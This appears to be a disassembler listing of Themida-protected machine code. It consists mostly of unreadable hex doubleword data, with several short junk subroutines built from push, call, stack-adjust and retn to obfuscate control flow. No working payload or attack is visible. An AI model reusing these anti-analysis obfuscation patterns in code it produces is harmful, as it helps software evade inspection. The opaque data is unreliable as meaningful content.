0C3524200h, 0BD8BDFC4h dd 7FA0D55h, 0FFABF0Fh, 1B89h, 8D895600h, 7FA1D7Dh, 68F68166h dd 9E95F5Eh, 32000000h, 0D1B450DBh, 0AFA577B7h, 0CEBEC18Bh dd 0EB6B2BD7h, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0CACA761Fh, 51F08B96h dd 9E8h, 0C681F200h, 0A0DA9AD5h, 0F38BAF5Ah, 858D5F5Eh dd 7FA0199h, 8E85390h, 0BB000000h, 12FB4977h, 5146A794h dd 505F5F5Eh, 118D8990h, 6A07FA2Dh, 6E900h, 0AA280000h dd 0B9E1E59h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 273A2DC3h, 0BE7907EFh, 7229D46h dd 6860Fh, 9D890000h, 7FA27B1h, 38E8858Dh, 0C08307FEh dd 0E7816605h, 60509665h, 0DE95250h, 34000000h, 0FCF17F8Eh dd 0D1FD47A4h, 0BB3473DEh, 0BF66310Fh, 585A1CF8h, 24048961h dd 36AFF0BEh, 8B006A12h, 0FA2D59B5h, 6A006A07h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 5C0CC350h, 0E995FFF3h, 8107FA2Bh, 111373EEh, 119D8D0Ah dd 6A07FDD7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 74F6C353h, 5E5C89F7h, 0C6818742h dd 219D0281h, 5870Fh, 0A4BE0000h, 0FF56E299h, 55006AD3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E9766282h, 7, 8087022Fh, 0FF90B1D2h, 0FA104985h, 84DE907h dd 0E80000h, 5D000000h, 38F2ED81h, 6A07FEh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7C6AE5C3h dd 0E3E08104h, 9589A622h, 7FA16C9h, 719BD81h, 7D007FAh dd 860F0000h, 15Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0E3C35141h, 2FA2CD83h, 0E9808702h, 0Eh dd 0D4CB8056h, 70BB4E91h, 12F810A0h, 9D8B5A43h, 7FA0521h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5C35646h dd 0E38159h, 89000001h, 0FA20CDBDh, 0FDB0B07h, 8A85h, 0BE96000h dd 1000000h, 3B035060h, 0CB48E3A6h, 8D8BF81Ch, 7FA0B89h dd 83616061h, 0FE3778BDh, 840F0007h, 4Bh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 23C35646h, 3285D7E4h dd 0E91D7A82h, 50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0DDC35343h, 1F48A7B6h, 0C7868D2Eh, 0FE377885h dd 107h, 0DD8D8900h, 0E907FA24h, 18h, 0C7F7BF0Fh, 0FE377885h dd 7, 711DBF00h, 85890C4Eh, 7FA17EDh, 5219D8Dh, 6A07FAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0CAAF63C3h, 3E17E59h, 0FA272DBDh, 0FF238107h, 60FFFFFEh dd 2D858501h, 0BE807FAh, 76000000h, 9DB26053h, 0ECD77548h dd 0DC800234h, 66615E7Bh, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 4D026DC3h, 0C3F6229Ah dd 8F840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D866C357h, 4880Fh dd 0BE660000h, 10E94948h, 0AA000000h, 3EA3C3AAh, 3B29F313h dd 7C47BD64h, 0FF177273h, 0FA10A595h, 85BD8B07h, 8B07FA01h dd 0FA2599BDh, 0FB8B9007h, 0C860F50h, 0F000000h, 68Dh dd 0F525000h, 90585A31h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 6FC35141h, 770545CBh, 8FC1F563h, 25A5BD89h dd 0CCE907FAh, 0F8000003h, 8D0F00B0h, 8, 69852960h, 6107FA08h dd 8F0F70E6h, 0 dd 6A71E4F9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0B107C357h, 0E13C8EB3h, 0BD89EB05h dd 7FA16F9h, 0E9D8B60Fh, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h dd 6BA3F2Dh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 3803C353h, 0E8C1C38Bh dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 4830F4Bh, 66000000h, 66F2C9BEh, 0AE9E2F7h dd 0D000000h, 0EFACF9DAh, 414662B2h, 6AD82BA9h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0A3E9C352h, 8C0F5693h, 0Dh, 8E9h, 76DAC800h, 0DFB8A45Fh dd 66505F84h, 0F93FE8Bh, 88Eh, 0C6815000h, 108E3D4Bh, 0B5FFFC5Eh dd 7FA0719h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0D2C35545h, 0EE97ECBh, 2C000000h, 9C6B8B1Ch, 4477D0CBh dd 76A614B5h, 1995FF53h, 8907FA10h, 0FA07098Dh, 5200B007h dd 20E5B503h, 0E65E07FAh, 6071E470h, 0EB1BD09h, 8D8907FAh dd 7FA076Dh, 0F613C61h, 26283h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0E8F5BDEh dd 77494BB2h, 850F32F7h, 5, 33DE8166h, 0D8B60F9Fh, 6E9h dd 614F6300h, 0BA3999C4h, 6, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0D4C35242h, 0EAA99109h, 0BFC38B27h dd 24F9B874h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 235EC352h, 85015735h dd 7FA2711h, 66F28B66h, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 16058C3h, 10E8BF1Ah dd 8C000000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah, 0F4CC5BEh dd 680h, 9852900h, 5F07FA22h, 0DF81D82Bh, 4594AA37h, 69958958h dd 2B07FA08h, 70880FD8h, 0E9000001h, 13h, 0F70ADBFCh, 8EA803CFh dd 0E6437EABh, 8FBABF42h, 0B9BAED77h, 7, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CEC35343h, 0AD5CE6B5h dd 0BE664569h, 0C1838F46h, 0FDB50100h, 3B07FA18h, 1C860FD9h dd 0F000001h, 8C66F2B7h, 0AD9D29D9h, 0F07FA0Ch, 0C1F6F7B7h dd 0DB840F04h, 8B000000h, 0FA10F5B5h, 0A595FF07h, 6A07FA10h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0A89AC351h, 0BEDA80BFh, 6A5B9CDBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0B7BBC351h, 8B0F1231h, 1Dh, 0FE860h, 7CA60000h, 0C3479A20h dd 5B2D98AEh, 0B14B5A74h, 0BD03598Fh, 7FA100Dh, 6AC32B61h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 6034C357h, 0F59BD89h, 0E8B307FAh, 1DB58B61h dd 3D07FA26h, 834h, 30860Fh, 8D890000h, 7FA3159h, 4EE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8B0F5EF2h, 2, 0C08BF78Bh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h, 0BE97E67Eh dd 2FE7810Eh, 8B76C946h, 6AD88BC3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0E2ECC350h dd 534FE57Fh, 39ED646Bh, 0F61BD8Bh, 0AE907FAh, 0C4000000h dd 5C66030Dh, 5812372Dh, 0C585C766h, 1307FA0Ch, 8952B1F1h dd 0FA0D359Dh, 6AC08B07h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 327FC353h, 0BA61ADA4h dd 0BD2B1351h, 7FA2985h, 719BD81h, 7D007FAh, 850F0000h dd 30h, 27A59529h, 85FF07FAh, 7FA0719h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 21C35040h, 0AFDA7364h dd 2F54BE66h, 719B5FFh, 0BF0F07FAh, 1995FFF0h, 6A07FA10h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 5ED7C356h, 0AC94416Bh, 2181BD8Bh, 8D8907FAh dd 7FA1105h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0C6DD09F8h, 9D292FB9h, 7FA2B49h dd 10E8h, 0AE7D6400h, 50B333F2h, 709E15FCh, 896288Dh, 3D95890Dh dd 5E07FA2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0E7C35343h, 279D8529h, 6A07FAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 6AE6C3h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 7B1BD9C3h, 74EA4466h, 56006A0Bh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 13E95359h, 0C7000000h dd 320C4C75h, 0C4204663h, 830E42Eh, 0A2335317h, 6A4365h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0EF816EC3h, 17673F38h, 0BE66F78Bh, 0D7E93605h, 6AFFFFF7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0C360C355h, 9EFAA4D1h, 8B545A0Fh, 0EBFE8BC1h dd 104h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 26BE3A84h, 6A73479Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0C478C357h dd 0B9DFC346h, 2A08BF26h, 858D16FBh, 7FA0199h, 50FEBF0Fh dd 13E8h, 82B24F00h, 1755CCFAh, 0ED2EBF16h, 5EB3012Bh dd 0C3A7876Fh, 6E49B860h, 16BA29C4h, 6109A6F0h, 2404895Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h dd 0BBD3208Bh, 463BE387h, 0E5DBD8Bh, 6A07FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4EC35141h, 84F5BC49h dd 0AFEC00CAh, 0EB83BF1Dh, 6A708Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 33C35040h, 0E543D388h, 7EAC528Bh dd 35B531DEh, 8D07FA1Dh, 0FE434D85h, 0D6816607h, 0C0839CB6h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 8A5BBB87h, 0A202C086h, 9589D11Eh, 7FA0061h dd 1EADBD8Bh, 665307FAh, 0F956DF81h, 0EBE905Eh, 503444C9h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0A188E149h, 1F8B1B0h, 0FA0D059Dh, 0E8006A07h dd 13h, 33DB7313h, 965BD74Ah, 0E266F1A9h, 4CF40401h, 0BE6AD8FDh dd 38764877h, 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8962C357h, 0FA00D9B5h dd 26BF6607h, 0E995FFD4h, 6A07FA2Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F814C353h dd 0A9519006h, 27DDBD8Bh, 9D8D07FAh, 7FDD711h, 0F7B70FF5h dd 8B66D3FFh, 4985FFF0h, 8907FA10h, 0FA249595h, 5855BE07h dd 0AFE95B8Bh, 0E8000007h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7FE4357h push 0 push ecx call sub_5C77AA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C77AA proc near ; CODE XREF: Themida_:005C77A2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5C77AA endp ; --------------------------------------------------------------------------- dw 52E9h dd 19BD8172h, 0D007FA07h, 0F000007h, 13686h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 4D569CA8h, 0BFBDE681h, 9D8B3AA6h, 7FA2765h, 29D9B589h dd 0E38107FAh, 100h, 0D9DBD03h, 0DB0B07FAh, 6A850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F3BCC3h, 40BD83BFh, 7FE41h, 1C840Fh, 0BD890000h, 7FA1D31h dd 63E9h, 0CE900h, 0B6790000h, 0D7A6275Bh, 0BAE3F8E7h dd 85C7CD6Bh, 7FE4140h, 1, 8E950h, 0D31F0000h, 0B2BE7388h dd 0E95E9A1Bh, 34h, 6BD7BF66h, 414085C7h, 7FEh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 2D285AC3h, 0F12C3CEBh, 0FC254EB3h, 27659D8Dh, 6A07FAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 7E7D34C3h, 35D6573Dh, 9D8D89ACh, 8107FA22h, 0FFFEFF23h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 25B58BFBh, 6607FA28h, 0C3F6DB8Ch, 53840F04h dd 0FF000000h, 0FA10A595h, 3DB58B07h, 8907FA11h, 0FA31898Dh dd 66609007h, 50CCDBBEh, 0F525052h, 0F585A31h, 5A1AB531h dd 0F506158h, 8Bh, 6A9000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0B4EF9EC3h, 4799F781h dd 0E8E97254h, 66000003h, 0B0DB6EBEh, 3DB58900h, 0E607FA2Bh dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 371E40Fh, 0FA2711B5h, 0FF78B07h, 0F38BD8B6h dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0F1BF0FCCh, 8166C38Bh, 0C1138BCEh dd 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 5012FFC3h, 0B52BFAE5h, 7FA29A9h, 6AE2F766h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 666DC351h, 0D82BF08Bh, 0B84FD781h, 89507C13h dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0B9E30DC3h, 66F98AE2h, 0FF147EBFh, 0FA0719B5h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 3893449h, 8BD71302h, 0FA0C95B5h, 0D9B58B07h dd 0FF07FA00h, 0FA101995h, 0F6B70F07h, 6A00B0h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0B0D299C3h, 6A70E618h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 7DAEC355h, 5FAB9520h dd 0E9B7C6C3h, 0Ch, 0DFBF8D11h, 37ACE145h, 8973291Bh, 10E9h dd 9304B00h, 5DC7485h, 2CB156B8h, 25C0DF14h, 6A71E490h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 8BF6C357h, 188A0DD5h, 0F613C57h, 23283h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0D8B60F0Ch, 6BAh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D1BD0103h dd 8B07FA2Eh, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0E8C1FFACh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0BC6FCD7Eh dd 0AAFB01A3h, 0EE9FCh, 28380000h, 0A68CCE9Bh, 0BCB6107Eh dd 4BCB5538h, 8BE2F766h, 0FA0129BDh, 66D82B07h, 7391C681h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0D82B0C93h, 15D880Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F90AAC3h dd 58Ah, 0C7816600h, 7B98E58h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0FFCC353h dd 0F32AE368h, 666CB196h, 831D95BFh, 0D93B00C1h, 0FD860Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 83E58BC3h, 8BF08B66h, 0FA2AD1B5h, 0D98C6607h dd 0EEE8F781h, 0C1F67668h, 8C840F04h, 0F000000h, 18Eh dd 95FFF500h, 7FA10A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 77C35242h, 0DF31FA99h, 3969E907h, 4195890Fh dd 5B07FA17h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0A2C35343h, 0B9138C91h, 6AC32BB2h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5EEDC357h dd 343D17E1h, 0F000008h, 686h, 38E9F900h, 8B000000h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 6E32F938h, 519BC322h, 61B58B51h, 5F07FA0Bh, 21BD895Eh dd 6607FA11h, 8B1B47BFh, 23D88BC3h, 0FA30D5BDh, 0D5B58B07h dd 0C707FA2Ah, 0FA052185h, 7C9D7307h, 0B1BD8B55h, 8B07FA0Fh dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 337B3676h, 7C1DA9EAh, 0AE9h, 0F15EBD00h dd 172A9F8Dh, 81ED6945h, 0FA0719BDh, 7D007h, 51850F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 220EC357h, 246C1923h, 0B6D8E904h dd 71985FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F2F669C3h, 0BD8BC56Bh, 7FA1569h dd 719B5FFh, 0BE6607FAh, 95FF3168h, 7FA1019h, 6E4ABF66h dd 0F890F90h, 66000000h, 0E9E58CBEh, 6, 79A60EBh, 8960A07Ah dd 0FA1DADBDh, 0CB48B807h, 0F616B3Ch, 38Eh, 0F9B70F00h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h dd 816C2454h, 0C07292B8h, 9E960h, 80630000h, 509EF59Eh dd 89A1EFF1h, 0FA33F18Dh, 29BE6607h, 0BD0161C8h, 7FA1CD5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FC35646h dd 173B728Fh, 8B15AA6Ch, 0FA17D5B5h, 10E907h, 0C79D0000h dd 8DF4534Ah, 0D090DF64h, 2C04F942h, 6ABEF9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5BF983C3h dd 9CB0320h, 0B5B58B9Eh, 8B07FA01h, 0FA0D69B5h, 10E807h dd 31B70000h, 219A8212h, 494357C0h, 3C4A769Fh, 0D781111Dh dd 53BF447h, 62DBD8Bh, 95F07FAh, 0FA2FA98Dh, 0F871E907h dd 0BD29FFFFh, 7FA160Dh, 14850Fh, 0E8BE0000h, 0E941A5BBh dd 0Ah, 0B748CFB6h, 184A0A94h, 0C18B2317h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B2C35545h, 0B4787401h dd 0F9BF0F53h, 8041BE5Eh, 4EB4082h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5C7F7F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7F7F proc near ; CODE XREF: Themida_:005C7F77p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5C7F7F endp ; --------------------------------------------------------------------------- pop edi cwde inc esp xor al, 0DAh push eax or esi, [ebp+7FA0F25h] pop edi push 0 push edi call sub_5C7FA7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7FA7 proc near ; CODE XREF: Themida_:005C7F9Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5C7FA7 endp ; --------------------------------------------------------------------------- db 5Fh dd 0BEC6FB5Dh, 775444DFh, 199858Dh, 958907FAh, 7FA1F81h dd 0CBF6650h, 2404891Ch, 4CDBEF81h, 50601597h, 20F5BD8Bh dd 0E95A07FAh, 14h, 89021162h, 0AE9646F1h, 0B8428995h dd 0F9A9EE5Dh, 0E9FDCF11h, 1006A61h, 0FA1C85BDh, 6A006A07h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 7438C352h, 0F82DCF41h, 0B9C6DD09h, 4CD7858Dh dd 0F98B07FEh, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 89B9C353h, 0FA28699Dh dd 0FE8B9007h, 0F88B6650h, 41B52390h, 6A07FA35h, 0DE816600h dd 6A9E49h, 6E8h, 0E1970F00h, 89B36C0Eh, 0FA2CA9B5h, 0BD8B5F07h dd 7FA3189h, 2BE995FFh, 0B58B07FAh, 7FA1129h, 14618D29h dd 9D8D07FAh, 7FDD711h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0C6C35646h, 66153067h, 0FF12F681h, 6AD3FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0A6E9FAC3h, 0F781E5F1h, 29256F0Ch, 0FA240DBDh, 4985FF07h dd 0E807FA10h, 0Fh, 0AB8D4503h, 0C47B21B7h, 82A1EA9Bh dd 60EA3B47h, 0ACD78166h, 0DE81661Eh, 5E611BA4h, 901E9h dd 0E800h, 815D0000h, 0FE4CE1EDh, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0EF61DABh dd 9D8959FBh, 7FA1CB9h, 719BD81h, 7D007FAh, 860F0000h dd 159h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0FAC35747h, 8BFE8B49h, 0FA185D9Dh, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 3BBEC9DAh, 814635F6h, 100E3h, 850F00h, 0F000000h, 0DB0BF8BFh dd 9C850Fh, 83F50000h, 0FE4B2FBDh, 840F0007h, 5Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 91C35040h, 424EE637h dd 0E9D07A97h, 0Bh, 0AF8478E4h, 857797A5h, 0E94EFD92h dd 66h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 0F9C35141h, 625019EFh, 73DA5F2Ch, 2F85C770h, 107FE4Bh dd 8B000000h, 30E9FAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0CC7356C3h, 85C7867Ch dd 7FE4B2Fh, 0 ; --------------------------------------------------------------------------- or esi, 2A9C80C6h lea ebx, [ebp+7FA185Dh] push 0 push ebp call sub_5C827B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C827B proc near ; CODE XREF: Themida_:005C8273p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C827B endp ; --------------------------------------------------------------------------- mov ds:2DBD2B48h, eax daa cli pop es and dword ptr [ebx], 0FFFFFEFFh push 0 push ebp call sub_5C82A4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C82A4 proc near ; CODE XREF: Themida_:005C829Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5C82A4 endp ; --------------------------------------------------------------------------- fdiv dword ptr [edi+3Ch] cmp ch, dl mov bx, ds push 0 push edx call sub_5C82C7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C82C7 proc near ; CODE XREF: Themida_:005C82BFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5C82C7 endp ; --------------------------------------------------------------------------- db 8Dh dd 45172A9Fh, 0B02CED69h, 14E9D2h, 0D2360000h, 134FA557h dd 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 0C3F635F8h, 86840F04h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0C48AC350h, 0EE91248h, 8E000000h dd 0F52872CAh, 945ACF78h, 698A042Fh, 0A595FF44h, 6A07FA10h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0C408C353h, 100FB4D6h, 41D78166h, 0EE850A9h dd 0EA000000h, 0E4D9DE77h, 4AEECC25h, 3AFBF184h, 5E9E5h dd 65800000h, 5EF93479h, 1240489h, 0FA0EC1BDh, 3F9E907h dd 5E80000h, 0E5000000h, 27A1C94Ah, 0E900B05Fh, 0Ah, 833C903Bh dd 480B5AB4h, 70E62083h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0E3C35545h, 0B60F71E4h, 0EFBF66D8h, 6BA03h dd 0BD890000h, 7FA1041h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0B11ADBC3h, 8E0FCA28h dd 5, 0D6BF0F60h, 4E8C161h, 5C54DF81h, 0F7661A01h, 53006AE2h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 38AAF125h, 779FD083h, 0F88BCF7Dh, 6AD82Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 660983C3h dd 725F940Ah, 8950FC6Bh, 6A241Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 667ACC3h, 5851B195h dd 0D681665Fh, 0B5FFF9CAh, 7FA0719h, 1059BD01h, 95FF07FAh dd 7FA1019h, 0C800Fh, 860F0000h, 6, 24459589h, 67BE07FAh dd 0B0702EACh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0CE9A0DFh, 9DB58B39h dd 0E607FA2Ah, 830F70h, 0E4000000h, 52006A71h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0BE5CB780h dd 95F51C4h, 830F613Ch, 273h, 2599B531h, 0B60F07FAh, 0E1BD09D8h dd 0BA07FA01h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 4FC35242h, 2C53BE66h, 0CE8h, 0E527B000h, 7134F1A7h dd 25FFCB59h, 0B1B509F5h, 5E07FA1Ch, 6AC38Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FAB024C3h dd 0F535D12h, 680h, 880F00h, 5F000000h, 4E8C1F5h, 17B1B58Bh dd 0F76607FAh, 0ADB58BE2h, 2B07FA34h, 118D89D8h, 5807FA29h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C35141h dd 8B106531h, 0FA113DB5h, 0FD82B07h, 1AE88h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 9FAE40A4h, 36F1D905h, 0EE8h, 21804C00h, 0A94A45EEh dd 7010E83Dh, 8BD791AFh, 0FA1851BDh, 0B70F5F07h, 2FDE81F3h dd 0B94D56B9h, 7, 151DB58Bh, 0C18307FAh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 75A2E360h, 1C5BCB9h, 0FA2489BDh, 3BF78B07h, 28860FD9h dd 33000001h, 0FA2BF5BDh, 0D98C6607h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 5C35040h, 9D89A4DCh, 7FA007Dh dd 0F04C1F6h, 0E184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0DAD63271h, 0F88B0034h dd 22159D29h, 95FF07FAh, 7FA10A5h, 0B99D89h, 6A5B07FAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0B37FC353h, 2BBAEEFCh, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0DE8011Bh dd 39000000h, 137A00C8h, 0A345114Fh, 3FB57158h, 0F1BF0F50h dd 343D5E5Eh, 